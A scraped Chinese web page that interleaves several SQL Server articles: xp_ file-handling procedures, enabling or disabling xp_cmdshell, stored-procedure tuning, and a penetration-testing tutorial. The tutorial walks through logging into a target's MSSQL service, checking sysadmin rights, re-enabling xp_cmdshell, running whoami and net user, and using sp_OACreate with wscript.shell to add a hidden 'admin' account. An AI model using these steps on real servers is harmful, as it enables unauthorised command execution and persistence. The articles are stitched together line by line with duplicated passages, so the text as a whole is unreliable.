您的位置:新葡亰496net > 网络数据库 > 文件操作,Server怎么着启用xp_cmdshell组件

文件操作,Server怎么着启用xp_cmdshell组件

发布时间:2019-08-31 01:14编辑:网络数据库浏览(120)

    在master数据库中,SQL Server提供系统扩展的存储过程,其中有一些存储过程的命名以xp_开头,用于处理操作系统的文件。

    在master数据库中,SQL Server提供系统扩展的存储过程,其中有一些存储过程的命名以xp_开头,用于处理操作系统的文件。

    前言:

    本文转自:

     

    一,判断文件是否存在

    一,判断文件是否存在

    致力于复现最实用的漏洞利用过程。

    错误描述】:

    今天主要探讨下SQL Server存储过程的应用及优化方案。

    存储过程sys.xp_fileexist 用于判断文件是否存在,参数是文件(file)的路径或目录的路径:

    存储过程sys.xp_fileexist 用于判断文件是否存在,参数是文件(file)的路径或目录的路径:

    本文将带领大家学习以下内容:

      SQL Server阻止了对组件‘xp_cmdshell’的过程‘sys.xp_cmdshell’的访问。因为此组件已作为此服务嚣安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用‘xp_cmdshell’。有关启用‘xp_cmdshell’的详细信息,请参阅sQL帮助文件。

         存储过程:由于本人之前的一篇文章对存储过程简单的做了概述,这里就不再赘述了。今天来看下存储过程的高级应用。

    exec master.sys.xp_fileexist 'D:test.txt'
    
    exec master.sys.xp_fileexist 'D:test.txt'
    
    • 学习使用`xp_cmdshell`扩展存储过程
    • 学习调用`wscript.shell`
    • 学习MSSQL写文件
    • 学习沙盘模式提权
    • 学习注册表映像劫持提

      part1 使用`xp_cmdshell`扩展存储过程

    【原因分析】:   xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。 【解决办法】: 1、通过SQL语句开启。[推荐此方法,因为在任何版本的SQL SERVER中都可以使用。] 通过查询分析器,选择Master数据库,然后执行以下SQL内容:

    首先来看下存储过程能够包含哪些内容:

    该存储过程返回的结果集有一行数据,三个字段,如下图:

    该存储过程返回的结果集有一行数据,三个字段,如下图:

    **步骤1 连接MSSQL服务**  
    
    首先打开SQL查询分析器如下填写相关参数(此处数据库相关信息假设是我们通过前期[渗透测试](http://bbs.ichunqiu.com/thread-17737-1-1.html?from=bkyl)得到。  
    相关参数填写完毕之后点击`确定`进入该服务器MSSQL查询分析页面。  
    登入对方的MSSQL服务之后,我们看到SQL查询分析器的界面如下,请看图示,了解查询分析器的功能页:  
    
    ![](https://images2017.cnblogs.com/blog/990426/201707/990426-20170728115101696-330111593.png)   
    
    如果没有出现左侧的对象浏览器,请点击如上图示的右上角红框部分来开启对象浏览器。  
    
    查询框用于输入将要执行查询的SQL语句。  
    
    比如,我们在查询框输入一下语句来查看数据库信息和系统版本:  
    
    sp_configure 'show advanced options',1
    reconfigure
    go
    sp_configure 'xp_cmdshell',1
    reconfigure
    go
    

    新葡亰496net 1

    新葡亰496net 2

    新葡亰496net 3

    select @@version

    执行结果:

         从图中可以看出,存储过程不仅包含单个select语句,还可以包含select语句块,例如Case When,同样还可以包含逻辑控制语句,如if—else等。

    二,创建子目录

    二,创建子目录

    MSSQL语句后面可以跟`;`结束查询或连接多句查询。后面跟`--`可以达到注释以后多余的语句的目的。

      配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。   配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

    注意:存储过程中也可以包含insert,update和delete语句。

    存储过程 sys.xp_create_subdir 用于创建子目录,参数是子目录的路径:

    存储过程 sys.xp_create_subdir 用于创建子目录,参数是子目录的路径:

    默认情况下我们查看到的结果并不完整,是表格查看方式,为了更明显的查看到SQL查询返回,我们点击工具栏的`查询`->`文本显示结果`,然后再执行SQL语句:

    如需关闭只需将“sp_configure 'xp_cmdshell',1”改为“sp_configure 'xp_cmdshell',0”即可。

    然后我们来看下扩展存储过程xp_cmdshell的用法

    exec master.sys.xp_create_subdir 'D:test'
    
    exec master.sys.xp_create_subdir 'D:test'
    

    新葡亰496net 4

    案例:启用xp_cmdshell

    执行存储过程,系统返回消息:Command(s) completed successfully,说明子目录创建成功。

    执行存储过程,系统返回消息:Command(s) completed successfully,说明子目录创建成功。

    此时可以看到完整的查询结果为:

        SQL  Server2000中启用扩展存储过程:

    三,查看子目录结构

    新葡亰496net,三,查看子目录结构

    Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) class="Apple-converted-space"> 
            Oct 14 2005 00:33:37 
            Copyright (c) 1988-2005 Microsoft Corporation
            Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
            
    (所影响的行数为 1 行)

      Use master

    存储过程sys.xp_dirtree 用于显示当前目录的子目录,该存储过程有三个参数:

    存储过程sys.xp_dirtree 用于显示当前目录的子目录,该存储过程有三个参数:

    MSSQL版本:`Microsoft SQL Server 2005`

      Exec sp_addextendedproc xp_cmdshell,'xplog70.dll'

    • directory:第一个参数是要查询的目录;
    • depth :第二个参数是要显示的子目录的深度,默认值是0,表示显示所有的子目录;
    • file :第三个参数是bool类型,指定是否显示子目录中的文件(file),默认值是0,表示不显示任何文件,只显示子目录(directory);

      exec master.sys.xp_dirtree 'D:data'

    • directory:第一个参数是要查询的目录;
    • depth :第二个参数是要显示的子目录的深度,默认值是0,表示显示所有的子目录;
    • file :第三个参数是bool类型,指定是否显示子目录中的文件(file),默认值是0,表示不显示任何文件,只显示子目录(directory);

    服务器版本:`Windows NT 5.2(windows2003)`

      Go

    该存储过程返回的字段有子目录名称和相对深度,返回的结果中并没有显示子目录的父子关系:

    exec master.sys.xp_dirtree 'D:data'
    

    步骤2 验证权限并尝试执行

       SQL  Server 2005或SQL Server 2008启用xp_cmdshell

     新葡亰496net 5

    该存储过程返回的字段有子目录名称和相对深度,返回的结果中并没有显示子目录的父子关系:

    我们使用一下SQL语句来检测对方的MSSQL服务是否为`SA`权限(`sa`权限的MSSQL用户一般来说对应的是系统的`system`权限):

      sp_configure 'xp_cmdshell',1

    四,删除文件

    新葡亰496net 6

    select IS_SRVROLEMEMBER('sysadmin')

      go

    存储过程 sys.xp_delete_file 用于删除文件,该存储过程有5个参数:

    四,删除文件

    如果查询结果返回`1`则说明是`SA`权限,很幸运,我们的目标机的`MSSQL`账户对应的是`SA`
    权限。

      reconfigure --让sp_configure立即生效

    • 第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;
    • 第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“”结尾;
    • 第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';
    • 第四个参数是Date,早于该日期创建的文件将会被删除;
    • 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;

    存储过程 sys.xp_delete_file 用于删除文件,该存储过程有5个参数:

    使用以下SQL语句判断目标机的MSSQL服务是否存在`xp_cmdshell`扩展存储过程:

      go

    该存储过程不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)的文件。

    • 第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;
    • 第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“”结尾;
    • 第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';
    • 第四个参数是Date,早于该日期创建的文件将会被删除;
    • 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

      --开启高级选项

    declare @Date datetime = dateadd(day,-30,getdate())
    exec master.sys.xp_delete_file 0,'D:test','bak',@Date,0
    

    该存储过程并不可以删除所有的文件,系统限制它只能删除特定类型的文件。

    只要返回结果不是`0`就说明存在`xp_cmdshell`扩展存储过程,启用没启用我们稍后再作判断:

      sp_configure 'show advanced options',1

    五,查看磁盘驱动的空闲空间

    declare @Date datetime = dateadd(day,-30,getdate())
    exec master.sys.xp_delete_file 0,'D:test','bak',@Date,0
    

    新葡亰496net 7 

      go

    存储过程 sys.xp_fixeddrives用于查看磁盘驱动器剩余(free)的空间

    五,查看磁盘驱动的空闲空间

    如上,查询返回`1`,即是存在`xp_cmdshell`扩展存储过程,那么我们尝试执行以下SQL语句使用`xp_cmdshell`扩展存储过程来执行系统命令`whoami`(查看当前系统权限):

      reconfigure

    exec sys.xp_fixeddrives
    

    存储过程 sys.xp_fixeddrives用于查看磁盘驱动器剩余(free)的空间

    Exec master..xp_cmdshell 'whoami';

      go

    新葡亰496net 8

    exec sys.xp_fixeddrives
    

    新葡亰496net 9 

         说明:服务器选项总共有36个,默认情况下,sp_configure存储过程只显示其中的10个,显示结果中不包含高级选项,而且所有新的SQL Server配置选项都不会出现在这个精简的清单中。然而,我们可以使用show advanced options命令参数让SQL Server显示出所有选项。

    六,执行DOS命令操作文件

    新葡亰496net 10

    命令并没有执行成功,得到了如下错误信息。

      案例:禁用/删除xp_cmdshell

    存储过程sys.xp_cmdshell 用于执行DOS命令,该功能对应SQL Server系统的xp_cmdshell高级选项,默认情况下,该选项是禁用的,执行该存储过程,系统会抛出错误消息:

    六,执行DOS命令操作文件

    Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

        Sql server 2000删除扩展存储过程

    SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

    存储过程sys.xp_cmdshell 用于执行DOS命令,该功能对应SQL Server系统的xp_cmdshell高级选项,默认情况下,该选项是禁用的,执行该存储过程,系统会抛出错误消息:

    步骤3 修复扩展存储过程
    幸运的是我们从报错信息可以得出,`xp_cmdshell`扩展存储过程没被删除,只是禁止访问。于是我们就可以通过SQL语句启用它。
    (如果不支持多句执行的话,请单独执行以分号分割的每句):

        --删除扩展存储过程

    因此,在执行该存储过程之前,必须启用xp_cmdshell选项,由于启用该选项有潜在的风险,建议用户在执行代码之后,禁用该选项。

    SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

        use master

    1,启用/禁用xp_cmdshell选项

    因此,在执行该存储过程之前,必须启用xp_cmdshell选项,由于启用该选项有潜在的风险,建议用户在执行代码之后,禁用该选项。

    新葡亰496net 11 

        exec sp_dropextendedproc 'xp_cmdshell'

    xp_cmdshell选项属于系统的高级选项,执行以下代码,允许用户修改高级选项:

    1,启用/禁用xp_cmdshell选项

    以上SQL语句的执行返回如下:

        go

    -- To allow advanced options to be changed.  
    exec sys.sp_configure 'show advanced options', 1;  
    go  
    -- To update the currently configured value for advanced options.  
    reconfigure;  
    go  
    

    xp_cmdshell选项属于系统的高级选项,执行以下代码,允许用户修改高级选项:

    配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
    配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

      提高存储过程性能的方法

    使用以下代码启用xp_cmdshell选项:

    -- To allow advanced options to be changed. 
    exec sp_configure 'show advanced options', 1; 
    go 
    -- To update the currently configured value for advanced options. 
    reconfigure; 
    go 
    

    SQL查询返回如上则说明`xp_cmdshell`扩展存储过程启用成功。

        01,使用 set nocount on

    -- To enable the feature.  
    exec sys.sp_configure 'xp_cmdshell', 1;  
    go  
    -- To update the currently configured value for this feature.  
    reconfigure;  
    go 
    

    使用以下代码启用xp_cmdshell选项:

    启用之后我们再使用以下SQL语句使用`xp_cmdshell`扩展存储过程执行系统命令:

        语法 
        SET NOCOUNT { ON | OFF } 

    使用以下代码禁用xp_cmdshell选项:

    -- To enable the feature. 
    exec sp_configure 'xp_cmdshell', 1; 
    go 
    -- To update the currently configured value for this feature. 
    reconfigure; 
    go
    

    Exec master..xp_cmdshell 'whoami';

        注释 
        当 SET NOCOUNT 为 ON 时,不返回计数(表示受 Transact-SQL 语句影响的行数)。当 SET NOCOUNT 为 OFF 时,返回计数。 

    -- To disable the feature.  
    exec sys.sp_configure 'xp_cmdshell', 0;  
    go  
    -- To update the currently configured value for this feature.  
    reconfigure;  
    go 
    

    使用以下代码禁用xp_cmdshell选项:

    新葡亰496net 12 

        当 SET NOCOUNT 为 ON 时,将不给客户端发送存储过程中的每个语句的 DONE_IN_PROC 信息。当使用 Microsoft SQL Server 提供的实用工具执行查询时,在        Transact-SQL 语句(如 SELECT、INSERT、 UPDATE 和 DELETE)结束时将不会在查询结果中显示"nn rows affected"。 

    2,常用的DOS命令

    -- To disable the feature. 
    exec sp_configure 'xp_cmdshell', 0; 
    go 
    -- To update the currently configured value for this feature. 
    reconfigure; 
    go
    

    语句执行回显如下:

      02,减少可选参数

    该存储过程使得用户可以通过TSQL命令执行DOS命令,参数是命令字符串:

    2,常用的DOS命令

    output                                                                                                                                                                                                          

                                                   class="Apple-converted-space"> 

    nt authoritysystem
    NULL

    (所影响的行数为 2 行)

      03,优化SQL语句

    exec sys.xp_cmdshell 'command_string' 
    

    该存储过程使得用户可以通过TSQL命令执行DOS命令,

    如上,我们成功取得回显,得知当前用户权限是`SYSTEM`.

        001,避免频繁访问同一张或多张表

    2.1 建立新文件或增加文件内容

    exec sys.xp_cmdshell 'command_string'
    

    当然也可以进行windows的账户操作:

        002,尽量避免大量事务操作

    格式:ECHO 文件内容>file_name  

    2.1 建立新文件或增加文件内容

    Exec master..xp_cmdshell 'net user';

        003,尽量避免使用游标

    exec master.dbo.xp_cmdshell 'echo abc > D:sharetest.txt'
    

    格式:ECHO 文件内容>file_name 

    > `net user`命令查看系统当前用户情况 

        004,注意where语句写法

    2.2 查看文件内容

    exec master.dbo.xp_cmdshell 'echo abc > D:sharetest.txt'
    

    步骤4 后续处理

           必须考虑语句顺序,应该根据索引顺序、范围大小来确定条件子句的前后顺序,尽可能的让字段顺序与索引顺序相一致,范围从大到小。

    格式:TYPE file_name 

    2.2 查看文件内容

    如果`xp_cmdshell`扩展存储过程被删除,可以使用以下语句重新添加:

        005,尽量使用exists代替select count()判断是否存在记录,count函数只有在统计表中所有行数时使用,而且count(1)比count(*)更有效率。

    exec master.dbo.xp_cmdshell 'type D:sharetest.txt'
    

    格式:TYPE file_name

    EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

    sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

        006,注意表之间连接的数据类型

    2.3 复制文件

    exec master.dbo.xp_cmdshell 'type D:sharetest.txt'
    

    使用以下语句来卸载存储过程`xp_cmdshell`:

        007,先写DDL,再写DML

    格式: COPY  file_name  new_folder 

    2.3 复制文件

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

        008,合理使用索引

    exec master.dbo.xp_cmdshell 'copy D:testtest.txt D:share'
    

    格式: COPY  file_name  new_folder

    得到如下返回:

          要注意索引的维护,周期性重建索引,重新编译存储过程。

    2.4 显示目录

    exec master.dbo.xp_cmdshell 'copy D:testtest.txt D:share'
    

    配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
    配置选项 'xp_cmdshell' 已从 1 更改为 0。请运行 RECONFIGURE 语句进行安装。

        009,合理使用tempdb系统表

    格式:DIR folder

    2.4 显示目录

    禁用之后我们再尝试使用`xp_cmdshell`扩展存储过程执行命令将不会成功:

          I,尽量避免使用distinct、order by、group by、having、join语句

    exec master.dbo.xp_cmdshell 'dir D:share' 
    

    格式:DIR folder

    Exec master..xp_cmdshell 'whoami';

          II,避免频繁创建和删除临时表

    2.5 创建目录

    exec master.dbo.xp_cmdshell 'dir D:share'
    

    新葡亰496net 13 

          III,临时表中插入数据过大,可使用select into代替create table

    格式:MD folder_name

    2.5 创建目录

    若果想彻底删除`xp_cmdshell`扩展存储过程,建议在C盘里直接搜索`xplog70.dll` ,然后删除之。

          IV,使用了临时表,要在存储过程最后显式删除

    exec master.dbo.xp_cmdshell 'md D:sharetest'
    

    格式:MD folder_name

    part2 调用`wscript.shell`

          V,避免使用大临时表与其他大数据量表的链接查询和修改

    2.6 删除目录

    exec master.dbo.xp_cmdshell 'md D:sharetest'
    

    步骤1 恢复`sys.sp_OACreate`

      Sqlprofiler的使用

    格式:RD folder

    2.6 删除目录

    当`xp_cmdshell`扩展存储过程被删除或者无法使用的情况,我们不妨试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

        通过Sqlprofiler可以检测到任何SQL  server语句的执行,帮助我们分析SQL语句的最终执行过程。

    exec master.dbo.xp_cmdshell 'rd D:sharetest' 
    

    格式:RD folder

    Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';

        使用方式:打开工具→SQL Server Profiler如下图

    2.7 删除文件

    exec master.dbo.xp_cmdshell 'rd D:sharetest'
    

    如下可见,默认是不行的,有如下报错信息:

             新葡亰496net 14

    格式:DEL file_name

    2.7 删除文件

    SQL Server 阻止了对组件"Ole Automation Procedures"的 过程"sys.sp_OACreate"的访问,因为此组件已作为此服务器安全配置的一部分而被关闭

    点击连接,出现下图界面

    exec master.dbo.xp_cmdshell 'del D:sharetest.txt' 
    

    格式:DEL file_name

    使用 `Ole Automation Procedures` 选项可指定是否可以在 `Transact-SQL` 批处理中实例化 `OLE Automation` 对象。 还可以使用基于策略的管理或者 `文件操作,Server怎么着启用xp_cmdshell组件。sp_configure` 存储过程来配置这一选项。 有关详细信息,请参阅外围应用配置器。
    可以将 `Ole Automation Procedures` 选项设置为以下值:

        新葡亰496net 15

    2.8 重命名文件

    exec master.dbo.xp_cmdshell 'del D:sharetest.txt'
    

    >`0`:禁用 OLE Automation Procedures。 SQL Server 新实例的默认值。
    >`1`:启用 OLE Automation Procedures。

    点击运行

    格式:REN [盘符:][路径]〈旧文件名〉〈新文件名〉

    2.8 重命名文件

    当启用 `OLE Automation Procedures `时,对 `sp_OACreate`的调用将会启动 `OLE` 共享执行环境。
    可以使用 `sp_configure` 系统存储过程来查看和更改 `Ole Automation Procedures` 选项的当前值。

     新葡亰496net 16

    exec master.dbo.xp_cmdshell 'ren D:testtest.txt new.txt' 
    

    格式:REN [盘符:][路径]〈旧文件名〉〈新文件名〉

    执行以下SQL语句查看 `OLE Automation Procedures` 的当前设置:

    该界面可以查看SQL Server的跟踪信息。

    2.9 移动文件

    exec master.dbo.xp_cmdshell 'ren D:testtest.txt new.txt'
    

    EXEC sp_configure 'Ole Automation Procedures';

     新葡亰496net 17

    格式:MOVE  file_name new_folder

    2.9 移动文件

    默认情况下返回以下信息

    今天暂时探讨到这里,希望能给大家带来帮助!

    exec master.dbo.xp_cmdshell 'move D:testnew.txt D:share' 
    

    格式:MOVE  file_name new_folder

    minimum  maximum  config_value run_value


       0        1          0           0

     

    2.10 切换目录

    exec master.dbo.xp_cmdshell 'move D:testnew.txt D:share'
    

    如上,`config_value` 和`run_value`的值都为0,表示禁用。

     

    格式:CD[盘符:][路径名][子目录名]

    2.10 切换目录

    执行以下SQL语句启用 `OLE Automation Procedures`:

    3,执行BCP命令

    格式:CD[盘符:][路径名][子目录名]

    exec sp_configure 'show advanced options', 1;  RECONFIGURE;  exec sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE;

     

    总结

    新葡亰496net 18 

    参考文档:

    以上所述是小编给大家介绍的SQL Server 文件操作方法,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!

    配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
    配置选项 'Ole Automation Procedures' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

    xp_cmdshell Server Configuration Option

    您可能感兴趣的文章:

    • 完美解决SQL Server 安装问题:以前的某个程序安装已在安装计算机上创建挂起的文件操作
    • 没有SQL Server数据库时如何打开.MDF文件
    • SqlServer修改数据库文件及日志文件存放位置
    • SQL Server 压缩日志与减少SQL Server 文件大小的方法
    • 如何恢复SQL Server 2000损坏的数据库文件
    • 教你轻松恢复/修复SQL Server的MDF文件
    • SQL Server 2005删除日志文件的几种方法小结

    步骤2 利用`sys.sp_OACreate`

    xp_cmdshell (Transact-SQL)

    再试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

    常见dos命令总结

    Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';

    DOS中的ECHO命令详解

    如下图可见,没有报错,成功执行了查询,但是没有看到CMD命令的回显:

    新葡亰496net 19 

    那么我们可以尝试使用`xp_cmdshell`来验证账户是否添加成功:

    如果`xp_cmdshell`拓展存储过程不存在,先使用以下语句恢复:

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

    然后执行以下语句验证是否通过利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行了添加admin账户的系统命令:

    Exec master..xp_cmdshell 'net user admin';

    新葡亰496net 20 

    如上图,存在admin账户,利用成功。

    本文由新葡亰496net发布于网络数据库,转载请注明出处:文件操作,Server怎么着启用xp_cmdshell组件

    关键词:

上一篇:SQL语句的优化,特定场景下SQL的优化

下一篇:没有了